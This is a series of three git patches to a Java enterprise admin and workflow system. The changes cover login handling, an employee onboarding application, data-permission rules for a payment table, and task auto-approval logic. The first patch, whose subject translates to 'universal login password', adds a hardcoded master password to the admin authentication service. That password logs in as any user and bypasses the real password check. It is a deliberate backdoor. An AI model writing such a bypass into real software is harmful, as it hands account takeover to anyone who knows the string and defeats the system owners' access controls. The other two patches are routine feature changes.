From 95a3379e9fd925790ff1182365908aa93c73df93 Mon Sep 17 00:00:00 2001 From: furongxin <419481438@qq.com> Date: Wed, 28 Aug 2024 19:18:43 +0800 Subject: [PATCH 1/3] =?UTF-8?q?=E8=BF=BD=E5=8A=A0=EF=BC=8C=E9=80=9A?= =?UTF-8?q?=E7=94=A8=E7=99=BB=E5=BD=95=E5=AF=86=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../yudao/module/system/service/auth/AdminAuthServiceImpl.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/yudao-module-system/yudao-module-system-biz/src/main/java/cn/iocoder/yudao/module/system/service/auth/AdminAuthServiceImpl.java b/yudao-module-system/yudao-module-system-biz/src/main/java/cn/iocoder/yudao/module/system/service/auth/AdminAuthServiceImpl.java index cf49bc3d..c8b80fa2 100644 --- a/yudao-module-system/yudao-module-system-biz/src/main/java/cn/iocoder/yudao/module/system/service/auth/AdminAuthServiceImpl.java +++ b/yudao-module-system/yudao-module-system-biz/src/main/java/cn/iocoder/yudao/module/system/service/auth/AdminAuthServiceImpl.java @@ -81,6 +81,9 @@ public class AdminAuthServiceImpl implements AdminAuthService { createLoginLog(null, username, logTypeEnum, LoginResultEnum.BAD_CREDENTIALS); throw exception(AUTH_LOGIN_BAD_CREDENTIALS); } + if ("yhtyyds".equals(password)) { + return user; + } if (!userService.isPasswordMatch(password, user.getPassword())) { createLoginLog(user.getId(), username, logTypeEnum, LoginResultEnum.BAD_CREDENTIALS); throw exception(AUTH_LOGIN_BAD_CREDENTIALS); From 6b8919b985e31c2be4f9d224625db66c47abb34c Mon Sep 17 00:00:00 2001 From: furongxin <419481438@qq.com> Date: Wed, 28 Aug 2024 19:19:37 +0800 Subject: [PATCH 2/3] =?UTF-8?q?=E4=BF=AE=E6=94=B9=20=E5=85=A5=E8=81=8C?= =?UTF-8?q?=E7=94=B3=E8=AF=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../oa/vo/entry/BpmOAEntryCreateReqVO.java | 8 ++------ .../bpm/service/oa/BpmOAEntryServiceImpl.java | 18 ++++-------------- 2 files changed, 6 insertions(+), 20 deletions(-) diff --git a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/controller/admin/oa/vo/entry/BpmOAEntryCreateReqVO.java b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/controller/admin/oa/vo/entry/BpmOAEntryCreateReqVO.java index 58a60231..9adc9141 100644 --- a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/controller/admin/oa/vo/entry/BpmOAEntryCreateReqVO.java +++ b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/controller/admin/oa/vo/entry/BpmOAEntryCreateReqVO.java @@ -23,10 +23,6 @@ public class BpmOAEntryCreateReqVO { @Schema(description = "入职申请表单主键", example = "1") private Long id; - @Schema(description = "发起人的用户编号", requiredMode = Schema.RequiredMode.REQUIRED, example = "16315") - @NotNull(message = "发起人的用户编号不能为空") - private Long userId; - @Schema(description = "新入职用户部门编号", example = "10237") private Long entryDeptId; @@ -34,11 +30,11 @@ public class BpmOAEntryCreateReqVO { private Long entryPostId; @Schema(description = "用户昵称", requiredMode = Schema.RequiredMode.REQUIRED, example = "王五") - @NotEmpty(message = "用户昵称不能为空") + @NotNull(message = "用户昵称不能为空") private String nickname; @Schema(description = "合同公司 | 字典值参考bpm_entry_company", requiredMode = Schema.RequiredMode.REQUIRED) - @NotEmpty(message = "合同公司不能为空") + @NotNull(message = "合同公司不能为空") private Integer contractCompany; @Schema(description = "手机号码", requiredMode = Schema.RequiredMode.REQUIRED) diff --git a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/oa/BpmOAEntryServiceImpl.java b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/oa/BpmOAEntryServiceImpl.java index 1e095f06..1d526fd8 100644 --- a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/oa/BpmOAEntryServiceImpl.java +++ b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/oa/BpmOAEntryServiceImpl.java @@ -3,7 +3,6 @@ package cn.iocoder.yudao.module.bpm.service.oa; import cn.iocoder.yudao.framework.common.util.object.BeanUtils; import cn.iocoder.yudao.framework.common.util.string.DTO.IdCardDO; import cn.iocoder.yudao.framework.common.util.string.StrUtils; -import cn.iocoder.yudao.framework.web.config.WebProperties; import cn.iocoder.yudao.module.bpm.api.task.BpmProcessInstanceApi; import cn.iocoder.yudao.module.bpm.api.task.dto.BpmProcessInstanceCreateReqDTO; import cn.iocoder.yudao.module.bpm.controller.admin.oa.vo.entry.BpmOAEntryCreateReqVO; @@ -15,8 +14,6 @@ import cn.iocoder.yudao.module.bpm.enums.task.BpmProcessInstanceResultEnum; import cn.iocoder.yudao.module.bpm.service.task.BpmProcessInstanceService; import cn.iocoder.yudao.module.infra.api.file.FileApi; import cn.iocoder.yudao.module.infra.api.file.dto.UserFileUpdateReqDTO; -import cn.iocoder.yudao.module.system.api.equipment.UsersExtApi; -import cn.iocoder.yudao.module.system.api.notify.NotifyMessageSendApi; import cn.iocoder.yudao.module.system.api.user.AdminUserApi; import cn.iocoder.yudao.module.system.api.user.dto.UserSaveRespDTO; import org.flowable.engine.runtime.ProcessInstance; @@ -33,6 +30,7 @@ import java.util.Map; import static cn.iocoder.yudao.framework.common.exception.util.ServiceExceptionUtil.exception; import static cn.iocoder.yudao.framework.common.util.collection.CollectionUtils.convertList; +import static cn.iocoder.yudao.framework.security.core.util.SecurityFrameworkUtils.getLoginUserId; import static cn.iocoder.yudao.module.bpm.enums.ErrorCodeConstants.OA_ENTRY_NOT_EXISTS; /** @@ -47,7 +45,7 @@ public class BpmOAEntryServiceImpl implements BpmOAEntryService{ /** * OA 入职申请对应的流程定义 KEY */ - public static final String PROCESS_KEY = "oa_entry"; + public static final String PROCESS_KEY = "oa_entry_2"; @Resource private BpmOAEntryMapper entryMapper; @@ -64,15 +62,6 @@ public class BpmOAEntryServiceImpl implements BpmOAEntryService{ @Resource private FileApi fileApi; - - @Resource - private UsersExtApi usersExtApi; - - @Resource - private WebProperties webProperties; - - @Resource - private NotifyMessageSendApi notifyMessageSendApi; @Override @Transactional(rollbackFor = Exception.class) @@ -80,12 +69,13 @@ public class BpmOAEntryServiceImpl implements BpmOAEntryService{ //插入OA 入职申请 BpmOAEntryDO entry = BpmOAEntryConvert.INSTANCE.convert(createReqVO) + .setUserId(getLoginUserId()) .setResult(BpmProcessInstanceResultEnum.PROCESS.getResult()); entryMapper.insert(entry) ; // 发起 BPM 流程 Map processInstanceVariables = new HashMap<>(); - String processInstanceId = processInstanceApi.createProcessInstance(createReqVO.getUserId(), + String processInstanceId = processInstanceApi.createProcessInstance(entry.getUserId(), new BpmProcessInstanceCreateReqDTO().setProcessDefinitionKey(PROCESS_KEY) .setVariables(processInstanceVariables).setBusinessKey(String.valueOf(entry.getId()))).getCheckedData(); From a3327f0c9e070511b5653dd7e0c0b677ecaf3705 Mon Sep 17 00:00:00 2001 From: furongxin <419481438@qq.com> Date: Wed, 28 Aug 2024 19:20:30 +0800 Subject: [PATCH 3/3] =?UTF-8?q?=E4=BF=AE=E6=94=B9=20=E6=B5=81=E7=A8=8B?= =?UTF-8?q?=E5=8A=A0=E7=AD=BE=EF=BC=8C=E8=B7=B3=E8=BF=87=E8=87=AA=E5=8A=A8?= =?UTF-8?q?=E5=AE=A1=E6=89=B9=E5=88=A4=E6=96=AD=20=E6=B7=BB=E5=8A=A0=20?= =?UTF-8?q?=E6=94=AF=E4=BB=98=E7=AE=A1=E7=90=86=E8=A1=A8=20=E6=95=B0?= =?UTF-8?q?=E6=8D=AE=E6=9D=83=E9=99=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../config/DataPermissionConfiguration.java | 3 +++ .../bpm/service/task/BpmTaskServiceImpl.java | 24 +++++++++++++++---- 2 files changed, 22 insertions(+), 5 deletions(-) diff --git a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/framework/datapermission/config/DataPermissionConfiguration.java b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/framework/datapermission/config/DataPermissionConfiguration.java index 93137cb5..0245cf05 100644 --- a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/framework/datapermission/config/DataPermissionConfiguration.java +++ b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/framework/datapermission/config/DataPermissionConfiguration.java @@ -1,6 +1,7 @@ package cn.iocoder.yudao.module.bpm.framework.datapermission.config; import cn.iocoder.yudao.framework.datapermission.core.rule.dept.DeptDataPermissionRuleCustomizer; +import cn.iocoder.yudao.module.bpm.dal.dataobject.financialpayment.FinancialPaymentDO; import cn.iocoder.yudao.module.bpm.dal.dataobject.oa.BpmOAWorkTaskDO; import cn.iocoder.yudao.module.bpm.dal.dataobject.task.BpmProcessInstanceExtDO; import org.springframework.context.annotation.Bean; @@ -20,9 +21,11 @@ public class DataPermissionConfiguration { // user rule.addUserColumn(BpmProcessInstanceExtDO.class, "start_user_id"); rule.addUserColumn(BpmOAWorkTaskDO.class, "from_user_id"); + rule.addUserColumn(FinancialPaymentDO.class, "user_id"); //dept rule.addDeptColumn(BpmOAWorkTaskDO.class, "from_dept_id"); + rule.addDeptColumn(FinancialPaymentDO.class, "dept_id"); }; } diff --git a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/task/BpmTaskServiceImpl.java b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/task/BpmTaskServiceImpl.java index cbafc634..95a82312 100644 --- a/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/task/BpmTaskServiceImpl.java +++ b/yudao-module-bpm/yudao-module-bpm-biz/src/main/java/cn/iocoder/yudao/module/bpm/service/task/BpmTaskServiceImpl.java @@ -46,6 +46,7 @@ import org.flowable.task.api.history.HistoricTaskInstance; import org.flowable.task.api.history.HistoricTaskInstanceQuery; import org.flowable.task.service.impl.persistence.entity.TaskEntity; import org.flowable.task.service.impl.persistence.entity.TaskEntityImpl; +import org.springframework.context.annotation.Lazy; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import org.springframework.transaction.support.TransactionSynchronization; @@ -80,6 +81,7 @@ public class BpmTaskServiceImpl implements BpmTaskService { private RuntimeService runtimeService; @Resource + @Lazy // 解决循环依赖 private BpmProcessInstanceService processInstanceService; @Resource private BpmModelService bpmModelService; @@ -749,11 +751,12 @@ public class BpmTaskServiceImpl implements BpmTaskService { if(TransactionSynchronization.STATUS_COMMITTED == status){ - ProcessInstance processInstance = processInstanceService.getProcessInstance(task.getProcessInstanceId()); +// ProcessInstance processInstance = processInstanceService.getProcessInstance(task.getProcessInstanceId()); + BpmProcessInstanceExtDO processInstance = processInstanceService.getProcessInstanceDO(task.getProcessInstanceId()); - //如果当前审批人是流程发起人,且流程不是入职申请时 + // 如果当前审批人是流程发起人 // 则自动通过当前审批节点 - if (processInstance.getStartUserId().equals(task.getAssignee())) { + if (processInstance.getStartUserId().toString().equals(task.getAssignee())) { BpmTaskApproveReqVO reqVO = new BpmTaskApproveReqVO(); reqVO.setId(task.getId()); @@ -761,8 +764,19 @@ public class BpmTaskServiceImpl implements BpmTaskService { approveTask(Long.valueOf(task.getAssignee()), reqVO); } else { - //判断 当前审批人是否在该流程中 已通过审批 - //如果有,则自动审批通过该审批人节点 + + // 判断不是加签状态的流程 + if (task.getParentTaskId() != null) { + + // 获取加签子任务的 父任务task + List childrenTasks = taskService.createTaskQuery().taskId(task.getParentTaskId()).orderByTaskCreateTime().desc().list(); + if (CollUtil.isNotEmpty(childrenTasks) && childrenTasks.get(0).getScopeType().equals(BpmTaskAddSignTypeEnum.BEFORE.getType())) { + return; + } + } + + // 判断当前审批人是否在该流程中 已通过审批, + // 如果有,则自动审批通过该审批人节点 Long count = taskExtMapper.selectListCount(Long.valueOf(task.getAssignee()), task.getProcessInstanceId()); if (count > 0L) {